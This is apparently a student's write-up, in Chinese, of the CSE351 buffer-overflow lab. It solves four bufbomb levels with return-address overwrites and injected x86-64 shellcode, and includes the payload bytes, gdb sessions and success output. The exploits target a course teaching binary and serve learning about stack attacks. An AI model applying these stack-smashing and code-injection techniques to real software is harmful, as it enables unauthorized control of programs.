The Hardware Software Interface Lab 3
课程主页:https://courses.cs.washington.edu/courses/cse351/16sp/
课程资料:
实验部分:https://github.com/vuquangtrong/HW-SW_Interface_Course
实验说明:https://courses.cs.washington.edu/courses/cse351/13sp/lab-0.html
课件:http://academictorrents.com/details/b63a566df824b39740eb9754e4fe4c0140306f4b
课程视频:https://www.bilibili.com/video/BV1Zt411s7Gg?from=search&seid=8781593976070799647
参考资料:
这次完成Lab3,这次的内容是Buffer Overflows。
x86-64参考资料:
https://web.stanford.edu/class/archive/cs/cs107/cs107.1166/guide_x86-64.html
https://cs.brown.edu/courses/cs033/docs/guides/x64_cheatsheet.pdf
注意事项:内存中栈是底部的地址较大。
Level 0: Candle
回顾getbuf的代码:
unsigned long long getbuf()
{
char buf[36];
volatile char* variable_length;
int i;
unsigned long long val = (unsigned long long)Gets(buf);
variable_length = alloca((val % 40) < 36 ? 36 : val % 40);
for(i = 0; i < 36; i++)
{
variable_length[i] = buf[i];
}
return val % 40;
}
我们需要调用smoke,而smoke函数的地址为:
4010c0
输入的时候需要反序,即
c0 10 40
getbuf的反汇编结果为:
0000000000400da0 <getbuf>:
400da0: 55 push %rbp
400da1: 48 89 e5 mov %rsp,%rbp
400da4: 48 83 ec 30 sub $0x30,%rsp
400da8: 48 8d 7d d0 lea -0x30(%rbp),%rdi
注意内存的形式如下:
即:
48+8(%rbp)+8(%rsp)
所以我们的输入为48+8个任意字符,以及c0 10 40:
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 c0 10 40
使用如下命令生成结果:
./sendstring < L0.txt > L0.bytes
运行结果
qz@qz-virtual-machine:~/桌面/Labs/lab3$ ./bufbomb -u qz < L0.bytes
Username: qz
48
3d
fe
54
e2
fa
3e
71
Cookie: 0x713efae254fe3d48
Type string: Smoke!: You called smoke()
Level 1: Sparkler
fizz函数:
0000000000401070 <fizz>:
401070: 48 83 ec 08 sub $0x8,%rsp
401074: c7 05 32 12 20 00 01 movl $0x1,0x201232(%rip) # 6022b0 <check_level>
40107b: 00 00 00
40107e: 48 8b 74 24 10 mov 0x10(%rsp),%rsi
401083: 48 3b 35 96 12 20 00 cmp 0x201296(%rip),%rsi # 602320 <cookie>
40108a: 74 13 je 40109f <fizz+0x2f>
40108c: bf b0 15 40 00 mov $0x4015b0,%edi
401091: 31 c0 xor %eax,%eax
我们需要调用fizz,而fizz函数的地址为:
401070
输入的时候需要反序,即:
70 10 40
由之前的内容可知:
Cookie: 0x713efae254fe3d48
所以现在确认cookie的位置即可,由汇编命令:
0000000000401070 <fizz>:
401070: 48 83 ec 08 sub $0x8,%rsp
401074: c7 05 32 12 20 00 01 movl $0x1,0x201232(%rip) # 6022b0 <check_level>
40107b: 00 00 00
40107e: 48 8b 74 24 10 mov 0x10(%rsp),%rsi
401083: 48 3b 35 96 12 20 00 cmp 0x201296(%rip),%rsi # 602320 <cookie>
我们可知cookie存储在rsi寄存器内,进入函数时rsp首先减8,然后加16得到cookie的位置,所以整体的结构为:
48+8(%rbp)+8(%rsp)+8+cookie
输入为:
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 70 10 40 00 00 00 00 00 00 00 00 00 00 00 00 00 48 3d fe 54 e2 fa 3e 71
生成输入:
./sendstring < L1.txt > L1.bytes
运行结果:
qz@qz-virtual-machine:~/桌面/Labs/lab3$ ./bufbomb -u qz < L1.bytes
Username: qz
48
3d
fe
54
e2
fa
3e
71
Cookie: 0x713efae254fe3d48
Type string: Fizz!: You called fizz(0x713efae254fe3d48)
补充,内存中的结果如下:
(gdb) x/8 $rsp
0x7fffffffbce8: 0x00401070 0x00000000 0x00000000 0x00000000
0x7fffffffbcf8: 0x54fe3d48 0x713efae2 0x28fe4200 0x00000000
Level 2: Firecracker
首先查看汇编码:
0000000000401020 <bang>:
401020: 48 83 ec 08 sub $0x8,%rsp
401024: 48 8b 35 dd 12 20 00 mov 0x2012dd(%rip),%rsi # 602308 <global_value>
40102b: 48 3b 35 ee 12 20 00 cmp 0x2012ee(%rip),%rsi # 602320 <cookie>
401032: c7 05 74 12 20 00 02 movl $0x2,0x201274(%rip) # 6022b0 <check_level>
401039: 00 00 00
40103c: 74 13 je 401051 <bang+0x31>
40103e: bf 70 15 40 00 mov $0x401570,%edi
401043: 31 c0 xor %eax,%eax
401045: e8 a6 f7 ff ff callq 4007f0 <printf@plt>
40104a: 31 ff xor %edi,%edi
40104c: e8 6f f8 ff ff callq 4008c0 <exit@plt>
401051: bf 48 15 40 00 mov $0x401548,%edi
401056: 31 c0 xor %eax,%eax
401058: e8 93 f7 ff ff callq 4007f0 <printf@plt>
40105d: bf 02 00 00 00 mov $0x2,%edi
401062: e8 c9 fd ff ff callq 400e30 <validate>
401067: eb e1 jmp 40104a <bang+0x2a>
401069: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
从代码中可以看出cookie存储在rsi寄存器中,所以我们应该注入如下代码:
mov $0x713efae254fe3d48,%rsi
push $0x40102b
retq
然后进行编译:
gcc -c L2.s
objdump -d L2.o > L2.d
得到如下结果:
L2.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 be 48 3d fe 54 e2 movabs $0x713efae254fe3d48,%rsi
7: fa 3e 71
a: 68 2b 10 40 00 pushq $0x40102b
f: c3 retq
注意这里跳转的地址为如下命令的位置:
40102b: 48 3b 35 ee 12 20 00 cmp 0x2012ee(%rip),%rsi
然后我们要确定注入代码的位置,这里将代码放在buffer起始位置,计算方式如下:
qz@qz-virtual-machine:~/桌面/Labs/lab3$ gdb bufbomb
GNU gdb (Ubuntu 9.1-0ubuntu1) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bufbomb...
(gdb) break *0x401070
Breakpoint 1 at 0x401070: file bufbomb.c, line 73.
(gdb) run -u qz < L1.bytes
(gdb) x/16w ($rsp-64)
0x7fffffffbcb0: 0x30303030 0x30303030 0x30303030 0x30303030
0x7fffffffbcc0: 0x30303030 0x30303030 0x30303030 0x30303030
0x7fffffffbcd0: 0x30303030 0x30303030 0x30303030 0x30303030
0x7fffffffbce0: 0x30303030 0x30303030 0x00401070 0x00000000
(gdb) print /x ($rsp - 64)
$3 = 0x7fffffffbcb0
即buffer的起始位置为:
0x7fffffffbcb0
于是得到如下代码:
48 be 48 3d fe 54 e2 fa 3e 71 68 2b 10 40 00 c3 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 b0 bc ff ff ff 7f
生成输入:
./sendstring < L2.txt > L2.bytes
运行结果:
qz@qz-virtual-machine:~/桌面/Labs/lab3$ gdb bufbomb
GNU gdb (Ubuntu 9.1-0ubuntu1) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bufbomb...
(gdb) run -u qz < L2.bytes
Starting program: /home/qz/桌面/Labs/lab3/bufbomb -u qz < L2.bytes
Username: qz
48
3d
fe
54
e2
fa
3e
71
Cookie: 0x713efae254fe3d48
Type string: Bang!: You set global_value to 0x713efae254fe3d48
[Inferior 1 (process 9251) exited normally]
Level 3: Dynamite
将getbuf的返回值设置为cookie,然后将rbp设置为调用getbuf之前的值。
首先查看rbp应该设置的值:
qz@qz-virtual-machine:~/桌面/Labs/lab3$ gdb bufbomb
GNU gdb (Ubuntu 9.1-0ubuntu1) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bufbomb...
(gdb) break *0x400da0
Breakpoint 1 at 0x400da0: file bufbomb.c, line 132.
(gdb) run -u qz < L2.bytes
Starting program: /home/qz/桌面/Labs/lab3/bufbomb -u qz < L2.bytes
Username: qz
48
3d
fe
54
e2
fa
3e
71
Cookie: 0x713efae254fe3d48
Breakpoint 1, getbuf () at bufbomb.c:132
132 {
(gdb) print /x $rbp
$1 = 0x7fffffffbd10
所以
rpb=0x7fffffffbd10
于是得到如下汇编码:
movq $0x713efae254fe3d48,%rax
movq $0x7fffffffbd10,%rbp
push $0x400ef3
retq
然后进行编译:
gcc -c L3.s
objdump -d L3.o > L3.d
得到如下结果:
L3.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 b8 48 3d fe 54 e2 movabs $0x713efae254fe3d48,%rax
7: fa 3e 71
a: 48 bd 10 bd ff ff ff movabs $0x7fffffffbd10,%rbp
11: 7f 00 00
14: 68 f3 0e 40 00 pushq $0x400ef3
19: c3 retq
于是得到如下代码:
48 b8 48 3d fe 54 e2 fa 3e 71 48 bd 10 bd ff ff ff 7f 00 00 68 f3 0e 40 00 c3 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 b0 bc ff ff ff 7f
生成输入:
./sendstring < L3.txt > L3.bytes
运行结果:
qz@qz-virtual-machine:~/桌面/Labs/lab3$ gdb bufbomb
GNU gdb (Ubuntu 9.1-0ubuntu1) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bufbomb...
(gdb) run -u qz < L3.bytes
Starting program: /home/qz/桌面/Labs/lab3/bufbomb -u qz < L3.bytes
Username: qz
48
3d
fe
54
e2
fa
3e
71
Cookie: 0x713efae254fe3d48
Type string: Boom!: getbuf returned 0x713efae254fe3d48
[Inferior 1 (process 12075) exited normally]